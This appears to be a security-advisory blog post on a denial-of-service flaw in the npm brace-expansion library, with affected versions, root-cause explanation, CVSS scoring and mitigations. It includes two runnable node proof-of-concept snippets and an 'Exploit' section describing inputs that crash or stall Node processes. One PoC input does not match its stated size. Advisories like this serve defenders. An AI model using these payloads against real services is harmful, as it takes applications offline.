Listen to this Post
The brace-expansion library is a widely-used npm package that generates arbitrary strings from brace patterns (e.g., `{a,b,c}` → a b c). Prior to versions 1.1.18, 2.1.4, 3.0.6, and 5.0.9, the `expand()` function fails to enforce the `maxLength` constraint during the construction of comma-alternative intermediate arrays and padded sequences. This allows an attacker to supply crafted input that exhausts memory or blocks the Node.js event loop, leading to a Denial of Service (DoS).
The vulnerability is a direct bypass of the incomplete fix for CVE-2026-14257 (GHSA-mh99-v99m-4gvg). In that earlier patch, `maxLength` was enforced only in the `combine()` function—the single place where the final output grows. However, two intermediate arrays are built before `combine()` runs, and neither was bounded:
1. Comma-alternative accumulation (memory exhaustion): Each alternative in a comma-separated list (e.g., {a,b,c,...}) is expanded by its own recursive `expand_()` call, each receiving a full, independent `maxLength` allowance. The results are concatenated into a single `values` array with no cumulative limit. With `A` alternatives, `values` can reach `A maxLength` characters before `combine()` gets a chance to truncate it. At the default `maxLength` of 4,000,000 and 400 alternatives, this far exceeds any default heap, causing an uncatchable out‑of‑memory (OOM) error that crashes the Node process—try/catch around `expand()` does not help.
2. Padded sequences (CPU exhaustion): `expandSequence()` was bounded by `max` (the result count) but never consulted maxLength. A padded sequence like `{0…01..100000}` with a wide pad generates `max` elements, each as wide as the input, only for `combine()` to discard most of them. Memory stays flat (V8 represents padded strings as cons-strings), but the work is proportional to max width. A ~400 KB input can block the event loop for over two minutes.
The vulnerability affects all versions prior to the patched releases. Any application that passes attacker-controlled input to expand()—directly or transitively through a glob or pattern-matching library—can be remotely crashed or stalled. The fix properly enforces `maxLength` during intermediate array construction, eliminating both the memory and CPU exhaustion paths.
DailyCVE Form:
Platform: npm
Version: <1.1.18, >=2.0.0<2.1.4, >=3.0.0<3.0.6, >=4.0.0<5.0.9
Vulnerability: DoS via unbounded arrays
Severity: High (CVSS 7.5)
date: 2026-08-03
Prediction: 2026-08-10
What Undercode Say:
Check installed version
npm list brace-expansion
Vulnerable versions (examples)
5.0.8 (the "fixed" version for CVE-2026-14257) is STILL VULNERABLE
1.1.17, 2.1.3, 3.0.5, 4.x.x (all <5.0.9) are vulnerable
Proof of Concept - Memory exhaustion against 5.0.8
This ~25 KB input crashes Node with an uncatchable OOM error
node -e "
const { expand } = require('brace-expansion');
const part = '{' + '0'.repeat(50) + '1..100000}';
const input = '{' + Array(400).fill(part).join(',') + '}';
try { expand(input); } catch (e) { console.log('Caught:', e.message); }
// FATAL ERROR: Ineffective mark-compacts near heap limit - process dies
"
Proof of Concept - CPU exhaustion (event loop blocking)
~400 KB input blocks the event loop for ~124 seconds on 5.0.8
node -e "
const { expand } = require('brace-expansion');
const input = '{0...01..100000}'; // wide pad
console.time('expand');
expand(input);
console.timeEnd('expand'); // ~124s on vulnerable version
"
Exploit:
An attacker can craft a brace pattern with:
- Memory exhaustion: A comma-separated list of 400+ alternatives, each containing a padded sequence with 50+ zeros, resulting in a ~25 KB payload that triggers an uncatchable OOM crash.
- CPU exhaustion: A single padded sequence `{0…01..100000}` with a wide pad (e.g., 400,000 zeros) that forces the library to generate and discard millions of strings, blocking the event loop for over two minutes.
Both exploits require only network access, no privileges, and no user interaction. The attack is trivially scalable—a single HTTP request with a malicious `expand()` input can take down a Node.js service.
Protection:
- Immediate: Upgrade to [email protected], 2.1.4, 3.0.6, or 5.0.9 (or any higher version).
- Input validation: Reject brace patterns with excessive comma-alternatives (>50) or extreme padding lengths (>1000 characters) at the application boundary.
- Resource limits: Run Node.js with `–max-old-space-size` to limit heap, but note that OOM crashes may still occur; the only reliable fix is upgrading.
- Monitoring: Alert on unusual memory usage or request processing times that may indicate exploitation attempts.
Impact:
- Availability: Complete denial of service—applications become unresponsive or crash entirely. The memory exhaustion path is uncatchable; `try/catch` around `expand()` does not prevent the process from dying.
- Scope: Any Node.js application using `brace-expansion` directly or indirectly (e.g., via
glob,minimatch, or build tools like `npm` itself) is affected if it processes untrusted input. - CVSS 3.1: 7.5 (High) —
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. - Bypass: This vulnerability circumvents the incomplete fix for CVE-2026-14257, demonstrating that previous remediation was insufficient.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
